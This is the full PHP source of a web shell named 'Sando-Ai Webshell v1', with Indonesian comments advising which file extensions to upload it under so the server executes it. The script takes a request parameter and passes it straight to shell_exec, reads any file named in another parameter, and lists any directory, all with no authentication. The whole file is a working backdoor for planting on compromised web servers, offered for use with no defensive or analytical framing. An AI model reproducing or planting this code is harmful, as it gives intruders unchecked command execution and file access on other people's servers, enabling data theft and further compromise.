<?php
// Sando-Ai Webshell v1 - Anti Plain Text
// Gunakan ekstensi .php, .phtml, .php5, .phar, .inc
// Jika tetap plain text, coba tambahkan header di bawah
header('Content-Type: text/html; charset=utf-8');

$cmd = $_REQUEST['c'] ?? '';
$file = $_REQUEST['f'] ?? '';
$dir = $_REQUEST['d'] ?? getcwd();

echo "<pre style='background:#111;color:#0f0;padding:10px;font-family:monospace'>";
echo "<b>Sando-Ai Shell</b> | cwd: $dir\n\n";

// Preview file
if ($file && file_exists($file)) {
    echo "=== PREVIEW: $file ===\n";
    echo htmlspecialchars(file_get_contents($file));
    echo "\n=== END PREVIEW ===\n\n";
}

// Command execution
if ($cmd) {
    echo "$ " . htmlspecialchars($cmd) . "\n";
    echo htmlspecialchars(shell_exec($cmd . ' 2>&1'));
    echo "\n";
}

// Directory listing
echo "=== DIR: $dir ===\n";
foreach (scandir($dir) as $item) {
    if ($item == '.' || $item == '..') continue;
    $path = $dir . DIRECTORY_SEPARATOR . $item;
    $type = is_dir($path) ? '[DIR]' : '[FILE]';
    $size = is_file($path) ? filesize($path) : '-';
    echo "$type $item ($size bytes)\n";
}

echo "</pre>";
?>